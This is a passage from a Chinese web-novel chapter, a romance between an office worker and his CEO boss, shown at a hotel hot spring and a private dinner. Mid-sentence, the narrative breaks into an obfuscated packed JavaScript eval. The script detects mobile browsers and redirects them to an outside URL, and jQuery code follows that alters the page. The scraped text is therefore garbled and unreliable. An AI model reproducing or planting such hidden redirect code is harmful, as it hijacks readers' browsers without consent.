安抚着受到惊吓的心脏,景眠试探性地问对面:【哥哥你好坏哦,怎么发洗澡的照片给我?】 【你不是喜欢看?】对面戏谑地回过来一句。 景眠瞬间哑口无言。 为什么说得他好像很色一样? 26.第26章 彼时,温泉池内。 秦洛白靠在池畔,指尖夹着手机,屏幕还亮着和景眠的聊天界面。 温热的泉水漫过胸膛,熨帖着连日来的疲惫,水花在身侧轻轻晃漾,将月光打碎成点点碎银,洒在冷白的皮肤上。 他垂眸看着景眠回过来一句带着气鼓鼓表情的【才没有!】,喉间溢出一声低笑。 很奇怪。 他刚才发照片的动机很冒险,明知景眠有可能会心生疑虑,还是那样做了。 好像潜意识里,他早就盼着这样一场破局,希望景眠能够认出他。 看他会有多心虚,多慌张。 抬眼望向那面磨砂玻璃,隐约能看见休息间里亮着的暖黄灯光,以及灯下那个绷得笔直的清瘦身影。 刚才发送照片后,他清晰地听见了那边传来的慌乱响动,像是手机砸在了桌子上。 他的反应一定很无措,真想亲眼看看。 休息间里的景眠,还没从腹肌照的冲击中缓过神,脸颊的热度刚降下去几分,手机突然又震动起来。 他飞快瞥了一眼温泉池的方向,见秦总那边没什么动静,才小心翼翼地拿起手机。 【确定不喜欢看?】 【那下次不发了。】 “……”这个男人真的好坏,怎么搞得他还很委屈似的? 指尖在屏幕上磨磨蹭蹭半天,景眠的心里天人交战。 说喜欢吧,太没骨气,简直是顺着对方的话掉进陷阱。 可要说不喜欢吧,又违心到不行,那腹肌线条分明利落,水珠滚落的弧度都透着股禁欲又勾人的劲儿,谁看了不迷糊? 纠结了半天,景眠故作傲娇的语气回复:【是你发得太突然了,吓我一跳!】 这句话完美解释了他刚才为什么说“才没有”,也没直接承认自己喜欢看。 简直完美。 没想到,Q先生根本不需要他正面回答。 【既然喜欢,下次换个角度拍给你。】 看到回复,景眠一瞬间面红耳热。 干嘛要这么直白?怪让人害羞的。 他刚才居然还怀疑Q先生和秦总是不是一个人,这么会撩的男人,怎么可能会是那种无趣的老干部? 是顾衍的可能性都比他大。 景眠还对着手机在想要怎么回复,忽然听见磨砂玻璃门轻轻推开的声音。 下一秒,便看到秦总走进来,发梢还滴着水,穿着深色的浴袍,隐约露出一点胸沟,平日里一丝不苟的疏离感被水汽冲淡,多了几分漫不经心的慵懒,竟比西装革履时更具侵略性的吸引力。 景眠只看一眼便匆忙移开视线,秦总这种高贵倨傲的男人不是寻常人能够窥视的,多看一眼他都怕折寿。 “工作完成得怎么样?”秦洛白擦着头发,闲庭散步地走来。 工作? 景眠迷茫地眨下眼,这才记起自己还有正事儿要干,刚才光顾着聊天去了。 “还在进行。”他硬着头皮回答,唯恐秦总过来检查。 没想到,他非但没查,经过身旁时还说:“陪我去吃点东西。” 景眠还以为自己听错了。 他又不是小孩子,吃东西干嘛要让他陪着?难不成…… 又要蓄意创造机会和他相处? 不是吧?这未免也太明显点了。 景眠并不想这么自恋,毕竟他在公司里的打扮又土又丑,可他实在想不到别的原因了。 除非,秦总是看他老实,故意整他。 有钱人不都有种恶趣味,拿人当宠物似的逗着玩。 这样一想,景眠不免气涌心头。 “秦总,我……我工作还没完成呢。”在秦洛白走出去前,景眠壮着胆子叫住对方。 秦洛白脚步稍停,回眸看向他,淡淡反问了句:“领导说工作可以往后放一放,还有疑问吗?” 天真的小男生,真以为留他在这儿是为了工作? 看他在网上那机灵活泼的劲儿,也不像这么呆板的人啊! 怕是在跟他故意装傻呢。 - 景眠跟着秦总去到了一间包厢里面。 雕花木窗半开着,晚风卷着桂花的甜香钻进来,和屋里淡淡的檀木香缠在一起。 长条餐桌上铺着暗纹桌布,精致的青瓷餐具摆得一丝不苟,几道清淡雅致的小菜刚端上桌,氤氲着热气,看着就赏心悦目。 大厅里虽然有自助餐,尽管在他这样的普通人看来也挺美味,但那怎么能符合秦总的身份呢? 景眠局促地坐在椅子上,双手放在膝盖上,姿势标准得像个受训的小学生。 他偷偷抬眼打量秦总,已经脱下浴袍,换上了一件宽松的真丝衬衫,墨色的衣料衬得他肤色愈发白皙,刚才还湿漉漉的头发半干着,垂在额前,少了几分平日里的凌厉,多了几分温和。 简直帅得人神共愤。 “尝尝,这家的虾饺是招牌。”秦洛白忽然出声。 景眠受宠若惊,连忙点头:“谢谢秦总。” 要不是领导发话,他哪敢吃? 拿起筷子,景眠小口小口地吃着,心里却在打鼓。 秦洛白没说话,只是垂眸慢条斯理地吃着东西,看他优雅尊贵的吃相就能知道,受到的教育有多么的好。 包厢里静悄悄的,只有碗筷碰撞的轻响,还有窗外偶尔传来的虫鸣。 景眠吃得心不在焉,脑子里全是乱七八糟的念头。 他偷偷瞥了一眼秦洛白,对方正抬眸看他,目光撞了个正着,景眠吓得连忙低下头,差点把嘴里的虾饺咽呛了。 脸蛋涨得通红,景眠端起茶杯喝了口水,接着听见秦总问:“你是不是在想,我为什么叫你陪我来谈合作,还特意留你加班?” 心底的想法被毫无预兆地戳穿,景眠错愕抬起头,惊讶于秦总的坦诚。 他的筷子僵在半空,瞳孔微微放大,脸上的红晕还没褪去,此刻又添了几分无措,看在秦洛白的眼里,活像被人当场抓包偷吃的小松鼠。 “我……我没有……”景眠下意识地否认,声音细若蚊蚋,连自己都觉得底气不足。 秦洛白看着他这副嘴硬的模样,眼底掠过一丝清浅的笑意,慢条斯理地放下筷子,指尖轻轻叩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029783|192574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叩桌面。 清脆的声响在安静的包厢里格外清晰,敲得景眠心尖一颤。 “没有?”秦洛白挑了挑眉,语气平淡却带着不容置疑的穿透力,“那你刚才低着头,皱着眉,在想什么?” 景眠被问得哑口无言,只能窘迫地低下头,盯着自己碟子里剩下的半块虾饺,恨不得把脸埋进盘子里。 欣赏着他慌乱的反应,秦洛白不紧不慢继续说道:“大概,你是在怀疑,我想要潜规则你。” 这话,不是疑问句。 听闻,景眠猛地抬头,对上他深邃的目光,心脏一瞬间加快。 他真的看不透这位老总,太过高深莫测,仿佛什么事情都被他尽在掌握。 既然话已说开,景眠干脆也就不再嘴硬,点头道:“是的,秦总,我并不认为我的工作能力可以胜任总经办的职务,您破格将我提拔,已经让我感觉很意外了,今晚还带我来谈合作,却又没让我随您一起进去见客户,我确实有点儿想不通……” 景眠这番话自然是说得战战兢兢。 秦总位高权重,万一哪句话说重了,惹得他不高兴,丢工作还是小事,就怕他想个什么坏主意整他,毕竟他对付他像捏死一只蚂蚁那么简单。 秦总望着他,一直没说话,他越是这么直白地盯着景眠,越让他心生忐忑。 景眠拧着眉,心中暗叫“完了完了完了”。 他预感自己死定了,没想到,秦洛白沉默片刻,居然问:“你会有这样的疑虑,是因为你喜欢男人吗?” ? 这跟他喜不喜欢男人有什么关系? 景眠疑惑之时,秦总话锋一转,又道:“那就是怀疑我喜欢男人?” 每一个字,都精准地戳中了景眠的要害。 他也不知道自己哪来的胆子,竟然顺势反问回去,“秦总,那您是吗?” 秦洛白的后背抵向椅背,语气闲散道:“想知道我是不是,难道不该先告诉我,你是吗?” 窗外的夜空挂着一轮圆月,月光皎洁,洒在庭院的桂花树上,落下斑驳的树影。 景眠毫不犹豫,“我喜欢女人,一直都是。” 这句话一说完,对面坐着的男人,脸色在刹那间沉了下去。 空气像是被冻住了,连窗外卷着桂花香的晚风,都像是停滞在雕花窗外,不敢贸然闯进来。 秦洛白的指尖原本还搭在青瓷茶杯的杯沿上,闻言动作一顿,指节微微收紧,手背上青筋隐隐浮现。 他眼底的温意,像是被骤降的气温凝成了冰,一点点褪去,只剩下深不见底的冷意,连带着周身的气压,都低得让人喘不过气。 包厢里的安静,瞬间变得焦灼起来,景眠同样坐立难安。 秦洛白定定地看着景眠,深邃的眸,像是淬了冰的寒潭。 既然口口声声说喜欢女人,那又何必伪装成异性模样,在网上与他畅谈、言语间满是不加掩饰的亲昵? 那些若有似无的暧昧拉扯,难道是像其他主播那样,假意热情应付榜一大哥,从而哄骗他在直播间继续刷礼物吗? 景眠,会是这样的人吗?